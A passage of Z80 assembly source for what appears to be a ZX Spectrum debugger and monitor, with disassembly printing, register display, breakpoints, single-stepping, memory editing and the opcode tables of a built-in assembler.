PUSH DE
LD E,(IY-20)
CALL DDANUM
POP DE
CP 6
JR Z,DPRA20
DPRA27 BIT 0,(IY-17)
JR NZ,DPRA28
CALL OLDAHL
CP 205
JR NZ,DPRA28
POP AF
PUSH AF
EX AF,AF'
PUSH HL
PUSH DE
LD DE,DVUELV
INC HL
CALL OLDAHL
CP E
JR NZ,DPA271
INC HL
CALL OLDAHL
CP D
JR NZ,DPA271
EX AF,AF'
PUSH AF
JR NC,DPA270
DEC (IY+73)
DPA270 LD (IY+72),6
LD A,"."
RST 16
LD (IY+72),0
POP AF
JR NC,DPA271
INC (IY+73)
DPA271 POP DE
POP HL
DPRA28 POP AF
JR C,DPRAF3
PUSH BC
PUSH HL
PUSH IX
PUSH DE
LD HL,(DDIRIN)
CALL PRNU16
LD A,":"
RST 16
LD (IY+72),7
POP HL
CALL DPR255
LD (IY+72),12
POP IX
POP HL
POP BC
LD A,(IX+0)
OR A
JR Z,DPRA29
LD E,(IY-20)
CALL DPRAF4
LD A,(IX+1)
OR A
JR Z,DPRA29
PUSH AF
PUSH HL
PUSH BC
LD A,","
RST 16
POP BC
POP HL
POP AF
LD E,(IY-19)
CALL DPRAF4
DPRA29 LD A,13
RST 16
DPRAF3 LD HL,(BYTES)
LD A,(APREXY)
OR A
JR Z,DPRA31
BIT 7,(IY-18)
JR Z,DPRA31
INC L
DPRA31 LD A,L
ADD A,H
RET
DPRAF4 PUSH IX
PUSH HL
PUSH BC
CALL DPROPE
POP BC
POP HL
POP IX
RET
DPROPE PUSH BC
PUSH HL
PUSH DE
PUSH AF
LD L,A
LD H,0
ADD HL,HL
LD DE,DTAOPE-2
ADD HL,DE
LD A,(HL)
INC HL
LD H,(HL)
LD L,A
PUSH HL
POP IX
POP AF
POP DE
POP HL
POP BC
JP (IX)
D1OP LD A,(AVAL1)
JP PNUM8
D3OP CALL DDANUM
JP PNUM8
D4OP LD A,E
CPL
AND C
JP PNUM8
D5OP LD A,"("
RST 16
CALL D1OP
DPRPAC LD A,")"
RST 16
RET
D6OP LD A,"("
RST 16
CALL D7OP
JR DPRPAC
D7OP LD HL,(AVAL1)
JP PNUM16
D8OP LD A,(AVAL1)
CALL D8B16B
INC HL
INC HL
ADD HL,BC
JP PNUM16
D9OP CALL DDANUM
LD HL,ASTRIR
JP DPRCAD
D10OP CALL DDANUM
CP 6
JP Z,DPRHPA
PUSH AF
LD HL,ASTR8B
CALL DPRCAD
POP AF
CP 4
JR Z,D10OP1
CP 5
RET NZ
D10OP1 LD A,(APREXY)
OR A
RET Z
BIT 7,(IY-18)
RET NZ
CP 221
JR NZ,D10OP2
LD A,"X"
JR D10OP0
D10OP2 LD A,"Y"
D10OP0 RST 16
RET
D11OP LD A,"A"
RST 16
RET
D12OP CALL DDANUM
CP 3
JR NZ,D14OP0
D13OP LD HL,ASTRSP
JP DPR255
D14OP CALL DDANUM
D14OP0 CP 2
JR Z,DPRHL
CP 3
JR NZ,D14OP1
LD HL,ASTRAF
JP DPR255
D14OP1 LD HL,ASTR16
JP DPRCAD
D15OP LD HL,ASTRDE
JP DPR255
DPRHL LD A,(APREXY)
OR A
JR NZ,DPRHL1
LD HL,ASTRHL
JR DPRHL0
DPRHL1 CP 221
JR NZ,DPRHL2
LD HL,ASTRX
JR DPRHL0
DPRHL2 LD HL,ASTRY
DPRHL0 JP DPR255
D17OP LD HL,ASTRAF
JP DPR255
D18OP CALL DDANUM
LD HL,ASTRBC
JP DPRCAD
D19OP LD A,"("
RST 16
CALL DPRHL
JP DPRPAC
D20OP LD HL,ASTSPP
JP DPR255
D21OP LD HL,ASTC
JP DPR255
D22OP CALL DDANUM
LD HL,ASTRCO
JP DPRCAD
D24OP LD HL,ASTAFC
JP DPR255
DTAOPE DEFW D1OP,D1OP,D3OP,D4OP
DEFW D5OP,D6OP,D7OP,D8OP
DEFW D9OP,D10OP,D11OP
DEFW D12OP,D13OP,D14OP
DEFW D15OP,DPRHL,D17OP
DEFW D18OP,D19OP,D20OP
DEFW D21OP,D22OP,D22OP
DEFW D24OP
DDANUM LD A,E
CPL
AND C
DDANU1 RRC E
RET NC
RRCA
JR DDANU1
DPRCAD OR A
JP Z,DPR255
LD C,A
DPRCA1 LD A,(HL)
INC HL
CP 255
JR NZ,DPRCA1
DEC C
JR NZ,DPRCA1
JP DPR255
DPRDES BIT 7,A
JR Z,DPRDE1
NEG
PUSH AF
LD A,"-"
JR DPRDE2
DPRDE1 PUSH AF
LD A,"+"
DPRDE2 RST 16
POP AF
JP PNUM8
DPRHPA LD A,"("
RST 16
CALL DPRHL
LD A,(APREXY)
OR A
JR Z,DPRHP0
LD A,(DPREF)
CP 203
JR Z,DPRHP1
LD HL,(AVAL1)
LD A,H
LD (AVAL1),A
LD A,L
JR DPRHP2
DPRHP1 LD A,(ADES)
DPRHP2 CALL DPRDES
DPRHP0 JP DPRPAC
DREPAN CALL DPANRE
RET Z
DREPA1 CALL ILDIR
JP ACTPAG
DGUPAN CALL DPANRE
RET Z
EX DE,HL
JR DREPA1
DPANRE LD HL,49152
LD DE,16384
LD BC,6912
LD A,(FLAGS3)
RRCA
RRCA
AND 3
RET Z
CP 1
JR NZ,DPANR1
LD (FINNDX),HL
LD A,19
JR DPANR2
DPANR1 CALL BTXTUS
CP 2
RET Z
LD (DIRDBI),HL
LD A,23
DPANR2 LD (NUMPAG+1),A
OR A
RET
DREBUF LD HL,BUFDEB
LD DE,BUFORI
LD BC,203
RET
DDEBGU CALL DREBUF
EX DE,HL
LD HL,23552
LDIR
RET
DAJUR0 LD A,(DREGR)
PUSH AF
INC A
AND 127
LD C,A
POP AF
AND 128
OR C
LD (DREGR),A
RET
DAJURR LD A,R
PUSH AF
SUB C
AND 127
LD C,A
POP AF
AND 128
OR C
LD R,A
RET
DPUSRE PUSH AF
PUSH BC
PUSH DE
PUSH HL
EXX
EX AF,AF'
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IY
PUSH IX
LD C,42
CALL DAJURR
LD A,R
LD (DREGR),A
LD HL,10072
EXX
LD IY,23610
CALL DREBUF
LD HL,23552
LDIR
CALL DREBUF
LD DE,23552
LDIR
LD A,I
JP PO,DPUSR1
SET 2,(IY-17)
JR DPUSR2
DPUSR1 RES 2,(IY-17)
DPUSR2 EI
LD HL,(DRETOR)
JP (HL)
DPOPRE LD A,(DREGR)
LD R,A
LD C,34
CALL DAJURR
POP IX
POP IY
POP HL
POP DE
POP BC
POP AF
EXX
EX AF,AF'
POP HL
POP DE
POP BC
POP AF
JP DPOPR1
DVUEL1 LD SP,23552
PUSH HL
LD HL,DVUEL2
LD (DRETOR),HL
POP HL
JP DPUSRE
DVUEL2 LD HL,BUFORI+41
BIT 4,(HL)
JR Z,DVUE20
RES 4,(HL)
CALL DGUPAN
CALL CLS
CALL PRIMES
DEFM "BASIC error @"
LD A,(BUFORI+58)
CALL PRNUMA
CALL PRIMES
DEFM "#Ajust register "
DEFM " PC and SP !@"
CALL ESPTEC
JP DINI10
DVUE20 BIT 3,(IY-17)
JR Z,DVUEL3
RES 3,(IY-17)
LD DE,(DNXTPC)
CALL DPONPC
JR DVUEL4
DVUEL3 CALL DNOBRK
DVUEL4 JP DINIC1
DNOBRK LD HL,(DREGSP)
CALL OLDAHL
LD E,A
INC HL
CALL OLDAHL
LD D,A
DEC DE
DEC DE
DEC DE
LD (DMEMO),DE
LD A,D
CALL OLDHLA
DEC HL
LD A,E
CALL OLDHLA
LD HL,DBYBRK
LD BC,3
LD A,20
EX AF,AF'
LD A,17
JP SLDIR
DPR255 LD A,(HL)
INC HL
CP 255
RET Z
CP "#"
JR NZ,DPR25_
LD A,13
DPR25_ PUSH HL
RST 16
POP HL
JR DPR255
DPR2ES LD A,32
RST 16
DPR2E1 LD A,32
RST 16
RET
DPRSPP LD A,":"
RST 16
JR DPR2E1
DPRMEM PUSH HL
CALL PRNU16
CALL DPRSPP
POP HL
PUSH HL
LD B,6
DPRME1 CALL OLDAHL
PUSH HL
PUSH BC
CALL PRHEX8
POP BC
PUSH BC
BIT 5,(IY-18)
JR Z,DPRM11
LD A,B
CP 1
JR Z,DPRM11
LD A,32
RST 16
DPRM11 POP BC
POP HL
INC HL
DJNZ DPRME1
CALL DPR2ES
POP HL
LD B,6
DPRME2 CALL OLDAHL
PUSH BC
PUSH HL
CALL DPRASC
POP HL
POP BC
INC HL
DJNZ DPRME2
BIT 5,(IY-18)
RET NZ
LD A,13
RST 16
RET
DPRASC RES 7,A
CP 32
JR NC,DPRAC1
LD A,"."
DPRAC1 RST 16
RET
DPONPC LD HL,(DREGSP)
LD A,E
CALL OLDHLA
INC HL
LD A,D
JP OLDHLA
DDARPC LD HL,(DREGSP)
CALL OLDAHL
LD E,A
INC HL
CALL OLDAHL
LD D,A
RET
DBUDPR PUSH HL
POP IX
LD HL,(DIRDBI)
LD DE,49152
OR A
SBC HL,DE
EX DE,HL
SRL D
RR E
SRL D
RR E
DEC DE
LD BC,0
DBUDP1 LD H,D
LD L,E
PUSH HL
OR A
SBC HL,BC
POP HL
RET C
ADD HL,BC
SRL H
RR L
PUSH HL
PUSH BC
CALL DBUDRE
POP BC
JR Z,DBUDSI
POP HL
JR C,DBUDP2
LD B,H
LD C,L
INC BC
LD A,B
OR C
JR Z,DBUDER
JR DBUDP1
DBUDP2 LD D,H
LD E,L
LD A,D
OR E
JR Z,DBUDER
DEC DE
JR DBUDP1
DBUDSI POP DE
CALL ILDAHL
LD E,A
INC HL
CALL ILDAHL
LD D,A
OR A
RET
DBUDER SCF
RET
DBUDRE ADD HL,HL
ADD HL,HL
LD BC,49152
ADD HL,BC
CALL ILDAHL
LD C,A
INC HL
CALL ILDAHL
LD B,A
INC HL
PUSH HL
PUSH IX
POP HL
OR A
SBC HL,BC
POP HL
RET
DPRREG PUSH AF
LD A,32
RST 16
POP AF
PUSH AF
ADD A,A
LD E,A
LD D,0
LD HL,DTAREG
ADD HL,DE
LD A,(HL)
INC HL
LD H,(HL)
LD L,A
CALL DPR255
POP AF
CP 3
JR C,DPRRE1
CP 7
JR NC,DPRRE1
LD A,"'"
RST 16
RET
DPRRE1 LD A,32
RST 16
RET
DPRAF PUSH HL
CALL PRHE16
CALL DPR2ES
POP BC
LD HL,DTAFLG
LD B,8
DPRFL1 RLC C
JR NC,DPRFL2
LD A,(HL)
JR DPRFL3
DPRFL2 LD A,32
DPRFL3 PUSH BC
PUSH HL
RST 16
POP HL
POP BC
INC HL
DJNZ DPRFL1
LD A,13
RST 16
RET
DTAFLG DEFM "SZxHxVNC"
DINICI LD SP,23552
LD A,(IY-18)
AND %11110011
LD (IY-18),A
RES 3,(IY-17)
LD HL,65534
LD (DREGSP),HL
LD DE,(PUNORG)
LD (DMEMO),DE
CALL DPONPC
CALL DDEBGU
CALL 3435
LD HL,DINIC1
LD (DRETOR),HL
JP DPUSRE
DINIC1 CALL DGUPAN
DINI10 CALL CLS
SET 3,(IY+48)
RES 5,(IY-18)
LD HL,DSTRME
CALL DPR255
LD HL,(DMEMO)
PUSH HL
CALL DPRMEM
POP HL
PUSH HL
CALL DPRASM
LD (DLONG),A
LD B,3
DINIC2 POP HL
LD E,A
LD D,0
ADD HL,DE
PUSH HL
PUSH BC
CALL DPRASM
POP BC
DJNZ DINIC2
POP HL
LD A,13
RST 16
LD A,10
CALL DPRREG
LD HL,(23550)
CALL DPRAF
LD A,32
RST 16
LD HL,ASTRSP
CALL DPR255
LD A,32
RST 16
LD HL,(DREGSP)
INC HL
INC HL
PUSH HL
CALL PRNU16
CALL DPRSPP
POP HL
LD B,3
DINI21 PUSH BC
PUSH HL
CALL DDARE1
CALL PRNU16
CALL DPR2ES
POP HL
INC HL
INC HL
POP BC
DJNZ DINI21
CALL DPNXPC
CALL PRIMES
DEFM " PC @"
CALL DDARPC
EX DE,HL
LD (PUNDIR),HL
PUSH HL
CALL PRNU16
CALL PRIMES
DEFM "->@"
LD HL,(DNXTPC)
CALL PRNU16
LD A,13
RST 16
POP HL
CALL DPRASM
LD A,13
RST 16
LD B,9
LD A,1
LD HL,23552-20
DINIC3 PUSH BC
PUSH AF
PUSH HL
CALL DPRREG
POP HL
LD E,(HL)
INC HL
LD D,(HL)
INC HL
POP AF
CP 6
PUSH AF
PUSH HL
EX DE,HL
JR NZ,DINIC4
CALL DPRAF
JR DINIC5
DINIC4 CALL DPRMEM
DINIC5 POP HL
POP AF
POP BC
INC A
DJNZ DINIC3
LD A,13
RST 16
LD A,32
RST 16
CALL PRSPED
LD (IY+72),11
CALL PRIMES
DEFM "I=@"
LD A,"0"
BIT 2,(IY-17)
JR Z,DINIC6
INC A
DINIC6 RST 16
CALL PRIMES
DEFM " P->@"
LD A,(IY-18)
RRCA
RRCA
CPL
AND 3
CP 3
JR Z,DINIC7
ADD A,22
DINIC7 ADD A,45
RST 16
CALL PRIMES
DEFM " VD=@"
LD A,"0"
BIT 6,(IY-18)
JR Z,DINIC8
INC A
DINIC8 RST 16
CALL PRIMES
DEFM " R @"
LD A,(DREGR)
CALL PRHE8S
DEDIT CALL PRIMES
DEFB 22,22,0
DEFM ">@"
DEDIT1 LD HL,(23682)
LD (CX),HL
CALL PONCUR
DEDIT2 LD (IY-50),0
DEDIT3 LD A,(23560)
OR A
JR Z,DEDIT3
CALL BORCUR
PUSH AF
CALL DPRASC
POP AF
LD C,A
LD HL,DTATEC
DBUSTE LD A,(HL)
INC HL
CP 255
JR Z,DMENER
CP C
JR Z,DBUST1
INC HL
INC HL
JR DBUSTE
DMENER CALL MENER0
CALL ESPTEC
JP DINI10
DBUST1 LD A,(HL)
INC HL
LD H,(HL)
LD L,A
CALL MEJPHL
JP DINI10
DFIN CALL CLS
JP MENU
DHEXA LD A,(FLAGS3)
XOR 16
LD (FLAGS3),A
RET
DCO13 LD HL,(DMEMO)
INC HL
DCO13_ LD (DMEMO),HL
RET
DCO7 LD HL,(DMEMO)
DEC HL
JR DCO13_
DCO8 LD HL,(DMEMO)
LD DE,8
DCO8_ OR A
SBC HL,DE
JR DCO13_
DCO9 LD HL,(DMEMO)
LD DE,8
DCO9_ ADD HL,DE
JR DCO13_
DCO10 LD HL,(DMEMO)
LD DE,(DLONG)
LD D,0
JR DCO9_
DCOMEM CALL DCALC
JR DCO13_
DCOCAL CALL DCALC
CALL CALCU1
JP ESPTEC
DCOINS LD A,":"
RST 16
LD A,13
RST 16
LD HL,(DMEMO)
DCOIN1 PUSH HL
CALL PRNU16
CALL DPRSPP
CALL EDIVA0
LD HL,BUFEDI
CALL VAL
POP HL
LD A,(BUFEDI)
CP 32
RET Z
LD A,E
CALL OLDHLA
INC HL
JR DCOIN1
DCOLIS CALL CLS
LD HL,(DMEMO)
SET 5,(IY-18)
DCOLI1 LD B,16
DCOLI2 PUSH HL
PUSH BC
CALL DPRMEM
POP BC
POP HL
LD DE,6
ADD HL,DE
DJNZ DCOLI2
CALL ESPTEC
CP 199
RET Z
JR DCOLI1
DCOASM CALL CLS
LD HL,(DMEMO)
DCOAS1 LD B,16
DCOAS2 PUSH HL
PUSH BC
CALL DPRASM
POP BC
POP HL
LD E,A
LD D,0
ADD HL,DE
DJNZ DCOAS2
CALL ESPTEC
CP 199
RET Z
JR DCOAS1
DCOMAS RES 3,(IY-17)
DCOMA0 POP BC
BIT 2,(IY-17)
JR NZ,DCOMA1
DI
DCOMA1 CALL DREPAN
CALL DDEBGU
CALL DREBUF
EX DE,HL
LD DE,23552
LDIR
JP DPOPRE
DCOCOM LD DE,(DMEMO)
JP DPONPC
DCOBRK LD HL,(DMEMO)
DCOBR1 LD DE,DBYBRK
LD BC,3
LD A,17
EX AF,AF'
LD A,20
PUSH HL
CALL SLDIR
POP HL
DCOBR2 PUSH HL
LD DE,23296
OR A
SBC HL,DE
POP HL
JR NC,DCOBR3
CALL PRIMES
DEFM "#Invalid "
DEFM " Breakpoint!@"
CALL ESPTEC
SCF
RET
DCOBR3 LD DE,DVUELV
LD A,205
CALL OLDHLA
INC HL
LD A,E
CALL OLDHLA
INC HL
LD A,D
CALL OLDHLA
OR A
RET
DCALC LD A,":"
RST 16
CALL EDIVA0
LD HL,BUFEDI
CALL VAL
EX DE,HL
RET
DCOSHD LD A,(IY-18)
XOR %01000000
LD (IY-18),A
RET
DCOPAN CALL DREPAN
JP ESPTEC
DCOSHS CALL DCALC
LD A,L
AND 3
CP 3
RET Z
RLCA
RLCA
LD L,A
LD A,(IY-18)
AND %11110011
OR L
LD (IY-18),A
RET
DCOSHT CALL DDARPC
EX DE,HL
CALL DPNOAS
LD E,A
LD D,0
ADD HL,DE
CALL DCOBR1
RET C
JP DCOMAS
DCO11 LD HL,(DMEMO)
PUSH HL
LD DE,10
OR A
SBC HL,DE
DCO110 CALL DPNOAS
LD E,A
LD D,0
ADD HL,DE
POP DE
PUSH DE
PUSH HL
OR A
SBC HL,DE
POP HL
JR C,DCO110
POP BC
LD E,A
LD D,0
JP DCO8_
DCOREG LD A,":"
RST 16
CALL EDIVA0
LD HL,BUFEDI
INC HL
INC HL
LD A,(HL)
CP "'"
PUSH AF
LD (HL),255
JR NZ,DCORE1
INC HL
DCORE1 INC HL
CALL VAL
PUSH DE
LD HL,DTAREG
LD B,7
DCORE2 LD E,(HL)
INC HL
LD D,(HL)
INC HL
PUSH HL
EX DE,HL
LD DE,BUFEDI
CALL ACOMP
POP HL
JR Z,DCORE3
DJNZ DCORE2
CALL DCORNO
POP DE
POP AF
RET
DCORE3 POP DE
POP AF
LD A,B
JR NZ,DCORE4
CP 5
JR NC,DCORNO
DCOR31 LD HL,23550-20
JR DCORE0
DCORE4 CP 7
JR NZ,DCORE5
JP DPONPC
DCORE5 CP 5
JR NC,DCOR31
LD HL,23550-12
DCORE0 LD A,7
SUB B
ADD A,A
LD C,A
LD B,0
ADD HL,BC
LD (HL),E
INC HL
LD (HL),D
RET
DCORNO CALL PRIMES
DEFM "Register not"
DEFM " found!@"
JP ESPTEC
DCOENS CALL DCOENP
LD HL,(PUNDES)
PUSH HL
LD HL,(DMEMO)
LD (PUNDES),HL
LD (PUNDIR),HL
DCOEN1 LD HL,(PUNDES)
CALL PRNU16
CALL DCOENP
CALL EDIVAC
LD HL,BUFEDI
LD A,(HL)
CP 32
JR Z,DCOENF
PUSH HL
LD A,32
LD BC,30
CPIR
DEC HL
LD (HL),255
LD HL,BUFEDI+30
DCOEN2 LD A,(HL)
CP 255
JR Z,DCOEN4
CP 32
JR NZ,DCOEN3
DEC HL
JR DCOEN2
DCOEN3 INC HL
DCOEN4 LD (HL),13
INC HL
LD (HL),255
LD HL,ABUF
LD (HL),255
INC HL
EX DE,HL
POP HL
LD BC,30
LDIR
SET 7,(IY-28)
RES 7,(IY-27)
SET 1,(IY-17)
CALL ABUC
RES 1,(IY-17)
JR DCOEN1
DCOENF POP HL
LD (PUNDES),HL
RET
DCOENP LD A,":"
RST 16
LD A,13
RST 16
RET
DDARET LD HL,(DREGSP)
INC HL
INC HL
DDARE1 CALL OLDAHL
LD E,A
INC HL
CALL OLDAHL
LD H,A
LD L,E
RET
DPNXPC RES 3,(IY-17)
XOR A
LD (DTIPIN),A
CALL DDARPC
EX DE,HL
PUSH HL
CALL DPNOAS
LD E,A
LD D,0
ADD HL,DE
LD (DNXTPC),HL
POP HL
CALL OLDAHL
INC HL
CP 195
JR NZ,DPNXP1
DPNXP0 CALL DDARE1
DPNFIN LD (DNXTPC),HL
RET
DPNX00 LD A,1
LD (DTIPIN),A
JR DPNXP0
DPNXP1 CP 205
JR Z,DPNX00
CP 24
JR NZ,DPNXP2
DPNX10 CALL DDADIR
JR DPNFIN
DPNXP2 CP 201
JR NZ,DPNX21
DPNX20 CALL DDARET
LD A,3
DPN200 LD (DTIPIN),A
JR DPNFIN
DPNX21 LD B,A
AND %11100111
CP 32
JR NZ,DPNXP3
LD A,B
AND %00011000
CALL DDACOR
JR Z,DPNX10
DPNX22 INC HL
JR DPNFIN
DPNXP3 LD A,B
AND %11000111
CP 194
JR NZ,DPNXP4
LD A,B
AND %00111000
CALL DDACOR
JR Z,DPNXP0
DPNX30 INC HL
JR DPNX22
DPNXP4 CP 196
JR NZ,DPNXP5
LD A,B
AND %00111000
CALL DDACOR
JR Z,DPNX00
JR DPNX30
DPNXP5 CP 199
JR NZ,DPNX50
LD A,B
AND %00111000
LD L,A
LD H,0
LD A,2
JR DPN200
DPNX50 CP 192
JR NZ,DPNXP6
LD A,B
AND %00111000
CALL DDACOR
JR Z,DPNX20
JR DPNFIN
DPNXP6 LD A,B
CP 16
JR NZ,DPNX60
PUSH HL
LD HL,23549
LD A,(HL)
POP HL
CP 1
JR Z,DPNX22
JR DPNX10
DPNX60 CP 233
JR NZ,DPNXP7
LD HL,23544
JP DPNXP0
DPNXP7 CP 221
JR NZ,DPNXP8
CALL OLDAHL
CP 233
JR NZ,DPNXP9
LD HL,23532
JP DPNXP0
DPNXP8 CP 253
JR NZ,DPNXP9
CALL OLDAHL
CP 233
JR NZ,DPNXP9
LD HL,23534
JP DPNXP0
DPNXP9 CP 237
JR NZ,DPNXSI
CALL OLDAHL
AND %11000111
CP 69
JR NZ,DPNXSI
INC HL
JP DPNX20
DPNXSI SET 3,(IY-17)
RET
DCOPAS BIT 3,(IY-17)
JR NZ,DCOPSI
CALL DAJUR0
CALL DDARPC
EX DE,HL
CALL OLDAHL
CP 237
JR Z,DCOPA1
CP 221
JR Z,DCOPA1
CP 253
JR NZ,DCOPA2
DCOPA1 CALL DAJUR0
DCOPFI LD DE,(DNXTPC)
LD (DMEMO),DE
JP DPONPC
DCOPA2 CP 16
JR NZ,DCOPA3
LD HL,23549
DEC (HL)
JR DCOPFI
DCOPA3 LD A,(DTIPIN)
OR A
JR Z,DCOPFI
CP 3
JR Z,DCOPA4
CP 2
JR Z,DCOP30
INC HL
INC HL
DCOP30 INC HL
CALL DICALL
JR DCOPFI
DCOPA4 LD HL,(DREGSP)
INC HL
INC HL
LD (DREGSP),HL
JR DCOPFI
DCOPSI CALL DDARPC
PUSH DE
LD HL,(DNXTPC)
LD (DMEMO),HL
OR A
SBC HL,DE
LD B,H
LD C,L
LD DE,DBYSAL
CALL DPONPC
POP HL
LD A,17
EX AF,AF'
LD A,20
CALL SLDIR
EX DE,HL
CALL DCOBR2
JP DCOMA0
DICALL EX DE,HL
LD HL,(DREGSP)
PUSH HL
LD A,E
CALL OLDHLA
INC HL
LD A,D
CALL OLDHLA
POP HL
DEC HL
DEC HL
LD (DREGSP),HL
RET
DDADIR CALL OLDAHL
INC HL
CALL D8B16B
ADD HL,BC
RET
D8B16B LD C,A
LD B,0
CP 128
RET C
LD B,255
RET
HLPDES LD A,2
HELP PUSH AF
CALL CLS
CALL PRIMES
DEFM "HELP ON@"
POP AF
LD HL,STRHLP
CALL DPRCAD
CALL ESPTEC
JP CLS
DDACOR RRCA
RRCA
RRCA
DDACON LD C,A
SRL A
LD E,A
LD D,0
PUSH HL
LD HL,DTACON
ADD HL,DE
LD B,(HL)
LD HL,23550
CALL OLDAHL
POP HL
RLCA
DDACO1 RRCA
DJNZ DDACO1
AND 1
LD B,A
LD A,C
AND 1
XOR B
RET
DTACON DEFB 7,1,3,8
DTAREG DEFW DSTRPC,ASTRX
DEFW ASTRY,ASTRHL
DEFW ASTRDE,ASTR16
DEFW ASTRAF,ASTRHL
DEFW ASTRDE,ASTR16
DEFW ASTRAF
DTATEC DEFB 199
DEFW DFIN
DEFB 35
DEFW DHEXA
DEFB 13
DEFW DCO13
DEFB 7
DEFW DCO7
DEFB 8
DEFW DCO8
DEFB 9
DEFW DCO9
DEFB 10
DEFW DCO10
DEFB 11
DEFW DCO11
DEFB "$"
DEFW DCOASM
DEFB "+"
DEFW DCOMAS
DEFB ":"
DEFW DCOPAS
DEFB ","
DEFW DCOCOM
DEFB "C"
DEFW DCOCAL
DEFB "E"
DEFW DCOENS
DEFB "H"
DEFW HLPDES
DEFB "I"
DEFW DCOINS
DEFB "L"
DEFW DCOLIS
DEFB "M"
DEFW DCOMEM
DEFB "R"
DEFW DCOREG
DEFB "S"
DEFW DCOPAN
DEFB "W"
DEFW DCOBRK
DEFB ">"
DEFW DCOSHT
DEFB 195
DEFW DCOSHS
DEFB 205
DEFW DCOSHD
DEFB 255
ASTR8B DEFB "B",255,"C",255
DEFB "D",255,"E",255
ASTRH DEFB "H",255,"L",255
ASTRH2 DEFM "(HL)"
DEFB 255,"A",255,0
ASTR16 DEFB "B","C",255
ASTRDE DEFB "D","E",255
ASTRHL DEFB "H","L",255,0
ASTRAF DEFB "A","F",255
ASTRSP DEFB "S","P",255
ASTRCO DEFB "N","Z",255,"Z",255
DEFB "N","C",255,"C",255
DEFB "P","O",255,"P","E"
DEFB 255,"P",255,"M",255
DEFB 0
ASTRBC DEFM "(BC)"
DEFB 255
DEFM "(DE)"
DEFB 255,0
ASTRIR DEFB "I",255,"R",255,0
ASTRX DEFB "I","X",255,"H","X"
DEFB 255,"L","X",255,0
ASTRY DEFB "I","Y",255,"H","Y"
DEFB 255,"L","Y",255,0
DSTRPC DEFB "P","C",255
DSTRME DEFB 32,"M","E"," ",255
ATASOL DEFB 4,1,64,1,128,1
DEFB 4,2,8,2,16,2,128,2
ATASO2 DEFB "A",255,"D","E",255
DEFB "H","L",255
DEFM "(HL)"
DEFB 255
ASTSPP DEFM "(SP)"
DEFB 255
ASTC DEFB "(","C",")",255
ASTAFC DEFB "A","F","'",255,0
DNOP DEFM "NOP*"
DEFB 255
DNOP2 DEFB 0
DHALT DEFM "HALT"
DEFB 255
ATAPSE DEFM "EQU"
DEFB 255
DEFM "DEFS"
DEFB 255
ASTRDM DEFM "DEFM"
DEFB 255
DEFM "DEFW"
DEFB 255
DEFM "DEFB"
DEFB 255
DEFM "ENT"
DEFB 255
DEFM "LST+"
DEFB 255
DEFM "LST-"
DEFB 255
DEFM "ORG"
DEFB 255
DEFM "DPR+"
DEFB 255
DEFM "DPR-"
DEFB 255,0
ATAPS1 DEFW AEQU,ADEFS,ADEFM
DEFW ADEFW,ADEFB,AENT
DEFW ALSTM,ALSTN,AORG
DEFW ADPRM,ADPRN
ATABLA DEFM "LD"
DEFB 255,14
DEFB 10,10,0,64
DEFB 12,7,0,1
DEFB 10,1,0,6
DEFB 16,6,0,42
DEFB 6,16,0,34
DEFB 11,18,0,10
DEFB 18,11,0,2
DEFB 11,6,0,58
DEFB 6,11,0,50
DEFB 12,6,237,75
DEFB 6,12,237,67
DEFB 11,9,237,87
DEFB 9,11,237,71
DEFB 13,16,0,249
DEFM "INC"
DEFB 255,2
DEFB 10,0,0,4
DEFB 12,0,0,3
DEFM "DEC"
DEFB 255,2
DEFB 10,0,0,5
DEFB 12,0,0,11
DEFM "JR"
DEFB 255,2
DEFB 8,0,0,24
DEFB 22,8,0,32
DEFM "DJNZ"
DEFB 255,1
DEFB 8,0,0,16
DEFM "JP"
DEFB 255,3
DEFB 7,0,0,195
DEFB 23,7,0,194
DEFB 19,0,0,233
DEFM "CALL"
DEFB 255,2
DEFB 7,0,0,205
DEFB 23,7,0,196
DEFM "RET"
DEFB 255,2
DEFB 0,0,0,201
DEFB 23,0,0,192
DEFM "PUSH"
DEFB 255,1
DEFB 14,0,0,197
DEFM "POP"
DEFB 255,1
DEFB 14,0,0,193
DEFM "RST"
DEFB 255,1
DEFB 4,0,0,199
DEFM "ADD"
DEFB 255,3
DEFB 11,10,0,128
DEFB 11,1,0,198
DEFB 16,12,0,9
DEFM "ADC"
DEFB 255,3
DEFB 11,10,0,136
DEFB 11,1,0,206
DEFB 16,12,237,74
DEFM "SUB"
DEFB 255,2
DEFB 10,0,0,144
DEFB 1,0,0,214
DEFM "SBC"
DEFB 255,3
DEFB 11,10,0,152
DEFB 11,1,0,222
DEFB 16,12,237,66
DEFM "CP"
DEFB 255,2
DEFB 10,0,0,184
DEFB 1,0,0,254
DEFM "AND"
DEFB 255,2
DEFB 10,0,0,160
DEFB 1,0,0,230
DEFM "XOR"
DEFB 255,2
DEFB 10,0,0,168
DEFB 1,0,0,238
DEFM "OR"
DEFB 255,2
DEFB 10,0,0,176
DEFB 1,0,0,246
DEFM "RLCA"
DEFB 255,1
DEFB 0,0,0,7
DEFM "RRCA"
DEFB 255,1
DEFB 0,0,0,15
DEFM "RLA"
DEFB 255,1
DEFB 0,0,0,23
DEFM "RRA"
DEFB 255,1
DEFB 0,0,0,31
DEFM "SCF"
DEFB 255,1
DEFB 0,0,0,55
DEFM "CCF"
DEFB 255,1
DEFB 0,0,0,63
DEFM "RLC"
DEFB 255,1
DEFB 10,0,203,0
DEFM "RRC"
DEFB 255,1
DEFB 10,0,203,8
DEFM "RL"
DEFB 255,1
DEFB 10,0,203,16
DEFM "RR"
DEFB 255,1
DEFB 10,0,203,24
DEFM "SLA"
DEFB 255,1
DEFB 10,0,203,32
DEFM "SRA"
DEFB 255,1
DEFB 10,0,203,40
DEFM "SRL"
DEFB 255,1
DEFB 10,0,203,56
DEFM "BIT"
DEFB 255,1
DEFB 3,10,203,64
DEFM "RES"
DEFB 255,1
DEFB 3,10,203,128
DEFM "SET"
DEFB 255,1
DEFB 3,10,203,192
DEFM "LDIR"
DEFB 255,1
DEFB 0,0,237,176
DEFM "LDDR"
DEFB 255,1
DEFB 0,0,237,184
DEFM "LDI"
DEFB 255,1
DEFB 0,0,237,160
DEFM "LDD"
DEFB 255,1
DEFB 0,0,237,168
DEFM "CPIR"
DEFB 255,1
DEFB 0,0,237,177
DEFM "CPDR"
DEFB 255,1
DEFB 0,0,237,185
DEFM "CPI"
DEFB 255,1
DEFB 0,0,237,161
DEFM "CPD"
DEFB 255,1
DEFB 0,0,237,169
DEFM "EXX"
DEFB 255,1
DEFB 0,0,0,217
DEFM "EX"
DEFB 255,3
DEFB 17,24,0,8
DEFB 15,16,0,235
